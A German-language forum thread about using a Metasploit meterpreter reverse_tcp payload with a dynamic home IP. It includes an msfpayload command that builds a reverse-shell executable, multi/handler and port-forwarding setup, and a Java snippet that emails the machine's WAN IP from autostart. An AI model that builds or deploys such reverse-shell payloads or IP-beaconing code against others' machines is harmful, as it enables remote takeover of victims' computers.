Metasploit Payload mit dynamischer IP

Zunächst ein Mal ein dickes Hallo an die Community!!!

Ich habe mich in den letzen Tagen mit Metasploit und generell mit dem windows/meterpreter/reverse_tcp payload beschäftigt

mit Hilfe des Befehls:
./msfpayload windows/meterpreter/reverse_tcp LHOST=A:B:C:D LPORT=EFGA X > test.exe

lässt sich eine exe Datei erstellen (Server) mit der man eine Verbindung zum Metasploit Clienten aufbauen kann. LHOST ist dabei der Host mit dem sich der Server verbinden soll. Und LPORT gibt an über welchen Port der Server eine Verbindung aufbaut.

Das funktioniert im Heimnetzwerk soweit auch alles prima.

Nun würde ich aber auch gerne außerhalb meines Netzwerkes z.B. von einer anderen Internetverbindung eine Verbindung zu meinem netzwerkinternen Rechner, auf dem der Server ist, herstellen.

Z.B. um Daten die auf meinem Heim PC sind vom UNI Netzwerk aus abzurufen.

Da ich zu Hause natürlich hinter einem Router sitze hab ich eine dynamische IP.

Nun meine eigentliche Frage:
Ist es möglich eine Domain (wie z.B durch DynDns oder No-ip) als LHOST zu benutzen?
Leider sind alle meine Versuche bis jetzt gescheitert!
Muss vielleicht ein Parameter übergeben werden, der kenntlich macht dass es sich um eine Domain handelt!?! Oder ist es einfach gar nicht möglich!?!

google und die Forumsinterne Suche haben mich leider nicht weitergebracht.

Danke schon ein Mal im Voraus für jede hilfreiche Antwort

und P.S: Nein ich möchte kein anders Programm wie VNC oder so verwenden ;)
 
Original von JackieBrowna
Da ich zu Hause natürlich hinter einem Router sitze hab ich eine dynamische IP.

Nun meine eigentliche Frage:
Ist es möglich eine Domain (wie z.B durch DynDns oder No-ip) als LHOST zu benutzen?
Leider sind alle meine Versuche bis jetzt gescheitert!
Muss vielleicht ein Parameter übergeben werden, der kenntlich macht dass es sich um eine Domain handelt!?! Oder ist es einfach gar nicht möglich!?!

hmm, mit dem eigentlichen Thema bin ich ein bisschen Überfordert (man muss ja nicht gleich alles können :p)
Aber n bisschen was kann ich dir trotzdem Helfen:

Ist es möglich eine Domain (wie z.B durch DynDns oder No-ip) als LHOST zu benutzen?
Du kannst zumindest bei DynDns oder so eine IP holen, die du dann deinem Server gibst, btw dem Rechner auf dem der Server läuft (wie gesagt, kp wie das ganze aufgesetzt is etc...).
Dann musst du deinen Router nach Bedarf konfigurieren...
Falls dein Router das kann, solltest du für die IP des Servers halt nur die Sachen freigeben, die über das Netz gebraucht werden...

Zudem würde ich mir noch einige Gedanken um die Sicherheit machen...
Falls auf dem Server Kundendaten/persönliche Daten gespeichert werden sowieso...
Außerdem wirst du ja noch andere Rechner im Netz haben.

Also wäre vllt ein extra Subnetz hilfreich, in dem der Server steht. Vllt noch eine zusätzliche Firewall vor den Server? Vllt den Router gegen einen besseren Tauschen?

Das wären so meine Überlegungen, wenn ich mir nen Server hinstell...

Ich habs jedenfalls gelassen, da ich keine Lust auf Windows Server hatte, lieber Linux, aber Linux kenn ich mich net aus, deswegen hab ich beschlossen -->Abwarten, Linux büffeln :D

Ich hoffe das Hilft dir weiter :)

lg
Darky
 
Nein, es ist nicht möglich als LHOST ne Domain oder DynIP-Adresse anzugeben. Er erwartet als Eingabe ne IPv4- oder IPv6-Adresse.
 
danke für eure beiden antworten.

hat mir beides weitergeholfen.

tja dann bleibt wohl nix anderes übrig, als shellcode schreiben zu lernen und einen eigenen server zu schreiben der sowas kann :D
 
Was ist mit einem sogenannten Multi-Handler?

Da ist vielleicht doch eine Möglichkeit. Man könnte auf einem PC hinter den Router einen Multi-Handler starten der den gewünschten PAYLOAD als hat.

Das könnte z.B. so aussehen:

exploit/multi/handler
SET PAYLOAD
SET LPORT
SET LHOST

Der Port kann indiviruell bestimmet werden (z.B 10666) die IP-Adresse eine interne IP (z.B 192.168.2.2).

Am Router muß dann das Portfoewarding eingestellt werden. - z.B leite alle ankommenden Daten für Port 10666 an den PC mit den IP 192.168.2.2 weiter.

Hier findest du gute und aktuelle Anregungen:

dpunkt.verlag | Penetration Testing mit Metasploit

Achtung! Die Sache ist nicht ganz ungefährlich. Man öffnet damit natürlich seine Firewall und bietet eine Angriffsfläche aus dem Internet. Also Vorsicht!
 
da ich auch gerne mitm handy auf meinen pc zuhause zugreife hab ich mir nen kleinen code gebastelt der mir die aktuelle ip per mail zuschickt! so kann ich dann einfach auf die aktuelle ip connecten mit vnc/tv/etc.

Hier der Code:
Code:
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Properties;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class WanIPAuth {
	private static String erg;
	private static String status;
	public static void main(String[] args) throws MessagingException {
		new WanIPAuth().run();
		
	}

	private void run() throws MessagingException {

		try {
			Socket socket = new Socket("213.202.225.69",80);
			InputStream fromServer = socket.getInputStream();
			OutputStream toServer = socket.getOutputStream();
			FileOutputStream fos = new FileOutputStream("ip.txt");
			
			
			byte[] buffer = new byte[10];
			@SuppressWarnings("unused")
			int anzahl_gelesener_bytes;
			String s = "GET http://hanfst0n3d.ha.funpic.de/phpwanip.php HTTP/1.0\n\n";
			
			toServer.write(s.getBytes());
			while((anzahl_gelesener_bytes = fromServer.read(buffer)) != -1){
				fos.write(buffer);
			}

			
			fromServer.close();
			toServer.close();
			socket.close();
			
			FileInputStream fis = new FileInputStream("ip.txt");
			BufferedInputStream bis = new BufferedInputStream(fis);

			InputStreamReader reader = new InputStreamReader(bis);
			char[] chars = new char[1024];
			int length = 1;
			StringBuffer text = new StringBuffer();
			while (length > 0) {
				length = reader.read(chars);
				if (length >= 0)
					text.append(chars, 0, length);
			}
			
			erg = text.toString();
			
			Pattern p = Pattern.compile("[0-9]{1,3}[.][0-9]{1,3}[.][0-9]{1,3}[.][0-9]{1,3}");
			Matcher m = p.matcher(erg);
			m.find();
			erg = erg.substring(m.start(), m.end());
		} catch (Exception e) {
			e.printStackTrace();
		}
		
		
		if(status!=erg){
			Message message = new MimeMessage(getSession());
	
			message.addRecipient(RecipientType.TO, new InternetAddress("")); // hier deine ziel addy
			message.addFrom(new InternetAddress[] { new InternetAddress("") }); // von welcher addy die mail kommen soll
	
			message.setSubject(""); // hier dein subject der mail
			
			message.setContent(erg, "text/plain");
			
			Transport.send(message);
		}
		
	}

	private Session getSession() {
		Authenticator authenticator = new Authenticator();

		Properties properties = new Properties();
		properties.setProperty("mail.smtp.submitter", authenticator.getPasswordAuthentication().getUserName());
		properties.setProperty("mail.smtp.auth", "true");

		properties.setProperty("mail.smtp.host", "smtp.gmx.net");
		properties.setProperty("mail.smtp.port", "25");

		return Session.getInstance(properties, authenticator);
	}

	private class Authenticator extends javax.mail.Authenticator {
		private PasswordAuthentication authentication;

		public Authenticator() {
			String username = ""; // nick@addy.de;
			String password = ""; // das pw;
			authentication = new PasswordAuthentication(username, password);
		}

		protected PasswordAuthentication getPasswordAuthentication() {
			return authentication;
		}
	}
}

funzt bei mir einwandfrei! aber du musst es für dein vorhaben freilich anpassen. wennde ne ausführbare datei daraus gemacht hast leg die einfach innen autostart von deinem rechner oder mach nen cronjob der bei änderung der ip erst die neue mail schickt ^^ (beugt router recon probs vor).

wenn du fragen hast oder hilfe brauchst meld dich ^^

gruß
m374


edit: plz keine flames über den code xD den hab ich einfach so dahin gehuddelt irgendwann ma ^^
 
Wenn es dir nur um den Datenzugriff auf deinen Rechner zuhause geht, dann benutze doch ein VNC-Programm oder Teamviewer oder ähnliches. Ggf. musst du noch eine Portweiterleitung im Router einrichten.
 
Zurück
Oben